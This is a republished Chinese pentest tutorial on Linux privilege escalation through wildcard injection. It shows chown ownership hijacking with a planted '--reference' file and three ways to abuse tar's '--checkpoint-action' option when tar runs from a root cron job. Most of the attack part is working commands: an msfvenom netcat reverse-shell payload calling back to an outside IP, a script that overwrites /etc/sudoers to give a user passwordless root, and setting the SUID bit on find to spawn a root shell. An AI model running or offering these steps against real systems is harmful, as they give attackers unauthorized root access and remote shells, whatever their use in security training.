首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

利用通配符实现Linux本地提权

点图有惊喜哦~

在本文中,我们将为读者介绍一种古老的UNIX黑客技术——“通配符注入”。当目前为止,这仍然是一种非常“好使的”漏洞利用代码投递方法,遗憾的是,许多安全相关人员竟然从没有听说过。不过没关系,阅读本文之后,您一定会惊讶的发现,像tar和chown这样的UNIX工具,在黑客手里照样可以用来攻陷整个系统。

通配符

通配符是一个字符或一组字符,可以用来替换某些范围/类别的字符。在执行任何其他操作之前,通配符首先要经过shell进行解释。

下面是一些常见的通配符:

* 星号可以与文件名中的任意数量的字符匹配,包括0个字符。

? 问号用于匹配任意单个字符。

[ ] 括号内包括一组字符,其中任何一个字符都可以匹配该位置上的单个字符。

– []中的连字符表示字符范围。

~ 单词开头的波浪符表示当前用户的主目录的名称。如果该字符后面是另一个用户的登录名,则表示该用户的主目录。

第一个示例

读者也许已经了解了通配符符号及其传统用法,但在这里,我们将呈现通配符不为人知的一面,所以,请仔细观察下面的操作步骤。

cd /Desktop

mkdir wild

cd wild

echo "Hello Friends" > file1

echo "This is wildcard Injection" >file2

echo "take help" > --help

正如你所看到的,我们在桌面上创建了一个新的目录“wild”,然后在echo命令的帮助下,创建了3个文件,并在每个文件中写入了1行内容。

之后,利用cat命令打开这3个文件,具体如下所示:

cat file1

cat file 2

cat --help

但是,前两个文件正常打开,显示的信息与上面写入的信息相同。但是cat命令无法读取写到–help文件内的信息。在打开-help文件时,cat不会显示“take help”,而是利用-help选项调用自己,这种类型的技巧称为Wildcard wildness。

通过Chown劫持文件所有者

同样,我们也会尝试在chown命令的帮助下做一些事情。正如我们所知,该命令是变更所有者(change owner)的缩写,在类Unix系统上用于修改文件和目录的所有权,并且,只能超级用户才有权限执行这些操作。假设我们的系统中有三种类型的用户。

超级用户(root)—— 执行管理级任务,例如运行chown命令。

非root用户1(raj) —— 执行普通作业,如创建文件。

非root用户2(aarti) —— 执行普通作业,如创建文件。

恶作剧用户(Ignite) —— 执行一些声名狼藉的任务,例如利用Chown劫持文件拥有者等。

在下图中,可以看到所有PHP文件都归用户raj所有。现在,当用户ignite发现所有PHP文件都属于raj后,他通过下面的命令在同一个目录中创建了两个PHP文件,以便为劫持文件的所有者做准备。

cd

ls -al

echo "" > my.php

echo > --reference=my.php

我们可以看到,大多数文件归用户raj所有,最后两个文件的拥有者是ignite,当超级用户通过通配符修改所有扩展名为PHP的文件的所有权时,所有文件的所有权将被ignite用户所劫持。

图中可以看到,root用户运行chown命令时将所有PHP文件的所有权授予了用户aarti,但是,最后所有PHP文件却自动归到用户ignite的名下。

chown -R aarti:aarti *.php

ls -al

知识点

如果您曾研究过chown所有的可选开关,就会发现以下选项。

–reference=RFILE (使用RFILE的所有者和组,而不是指定OWNER:GROUP)

在我们的例子中用户ignite执行过以下命令:

echo "" > my.php

echo > --reference=my.php

然后,root用户在改变所有权时,使用了通配符。问题是,chown命令行中使用的通配符,会将'-reference = .my.php'作为命令选项传递给命令行中的chown命令。

通过tar投送漏洞利用代码(第一阶段)

准备工作

下面,我们开始介绍如何利用通配符攻击系统。

Tar是一个非常常见的UNIX程序,可用于创建和提取档案。在它的帮助下,我们能够压缩任何目录的备份。例如,创建一个新目录,并赋予它所有权限,然后,创建一些文件。

mkdir html

chmod 777 html

cd html

touch index.html

touch raj

touch file.txt

现在,使用crontab安排一项任务:运行tar程序,每隔1分钟将/html目录备份到/var/backups中。

nano /etc/crontab

*/1 * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*

接下来,通过执行以下命令来验证该任务是否正常工作。

cd /var/backup

ls

Tar通配符注入(第一种方法)

权限提升

启动攻击机器,然后进入目标系统,接着进入权限提升阶段。假设我通过ssh成功登录到受害者的机器并可以访问非root用户终端。然后,打开crontab查看是否有任何工作计划。

cat /etc/crontab

在这里,我们注意到目标机器每隔1分钟会调度一次tar归档程序,并且我们知道,cron作业是以root身份运行的。下面我们尝试通过通配符来攻击系统。

在新终端上使用msfvenom生成含有netcat反向shell的恶意代码,以便反向连接netcat,然后输入以下命令。

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.102 lport=8888 R

复制生成的有效载荷并粘贴到受害者的shell中,具体命令如下所述。

nc -lvp 8888

现在,按照下面的介绍粘贴上面复制的有效载荷,并在受害者的tty shell中运行以下命令。

echo "mkfifo /tmp/lhennp; nc 192.168.1.102 8888 0/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh

echo "" > "--checkpoint-action=exec=sh shell.sh"

echo "" > --checkpoint=1

tar cf archive.tar *

利用tar投送漏洞利用代码(第二阶段)

准备工作

我们知道,实现压缩备份的方法有多种,同时,用于权限提升的技术也很多。在这个阶段,在tar的帮助下,我们将对一个目录进行压缩备份。例如,新建一个待备份的目录,并授予其完整的权限,然后,再创建一些文件。

cd /tmp

mkdir data

cd data

echo "" > f1

echo "" > f2

echo "" > f3

ls

接下来,在其他目录中写入一个bash脚本,用来利用tar程序备份/tmp/data。

mkdir info

cd info

nano script.sh

chmod 777 script.sh

#!/bin/bash

cd /tmp/data

tar cf /backup/backup.tgz *

现在,使用crontab安排一项任务:运行tar程序,每隔1分钟将/html目录备份到/var/backups中。

nano /etc/crontab

*/1 * * * * root /info/script.sh

1分钟后,你会注意到backup.tgz文件已经出现在info目录中了。

Tar通配符注入

权限提升

启动攻击机器,然后进入目标系统,接着进入权限提升阶段。假设我通过ssh成功登录到受害者的机器并可以访问非root用户终端。然后,打开crontab查看是否有任何工作计划。

cat /etc/crontab

在这里,我们注意到目标机器每隔1分钟就会调度一个bash程序脚本,同时,我们也知道,cron作业是以root身份运行的。所以,攻击者可以利用tar通配符注入方法,读取位于script.sh内的程序。

现在,我们需要根据前面介绍的方法再次生成netcat反向shell有效载荷。

再次重复上面的步骤,具体如图所示。

然后,回到netcat shell以便接收受害者的反向连接,1分钟后,就能看到受害者的netcat会话了。

whoami

cd /root

pwd

因此,如果攻击对象是通过调度作业或bash脚本来使用tar程序的话,那么很容易被攻陷。

Tar通配符注入(第二种方法)

权限提升

一般来说,借助通配符注入攻击,攻击者希望获得系统的最高权限,因此,他会尝试在tar的帮助下,以root身份注入一些恶意代码。当然,获得root访问权限的方法也有多种,比如,我们可以采用下面介绍的技术来提升权限。

假设您能够以为非root用户访问受害者的计算机,然后就可以设法提升权限了,比如获取root访问权限,或者尝试通过添加sudoers文件为非root用户授予sudo权限。

echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh

echo "" > "--checkpoint-action=exec=sh demo.sh"

echo "" > --checkpoint=1

tar cf archive.tar *

在上述命令的帮助下,我们试图为ignite用户授予root权限,并且尝试时间为1分钟。1分钟后,我们成功拥有了root帐户。

sudo -l

sudo bash

whoami

Tar通配符注入(第三种方法)

权限提升

实际上在tar注入的帮助下,特权升级的方式有很多,这里介绍的只是其中很少一部分。假设您在受害者机器上的权限是一个非root用户权限,为了提升权限,可以尝试为任意系统二进制文件启用SUID位,然后利用下面的命令来获取root访问权限。

echo "chmod u+s /usr/bin/find" > test.sh

echo "" > "--checkpoint-action=exec=sh test.sh"

echo "" > --checkpoint=1

tar cf archive.tar *

ls -al /usr/bin/find

find f1 -exec "whoami" \;

root

find f1 -exec "/bin/sh" \;

id

whoami

WOOhOOO!!

希望上面介绍的技巧对大家的渗透测试工作能够有所帮助。

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20180712G164XT00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券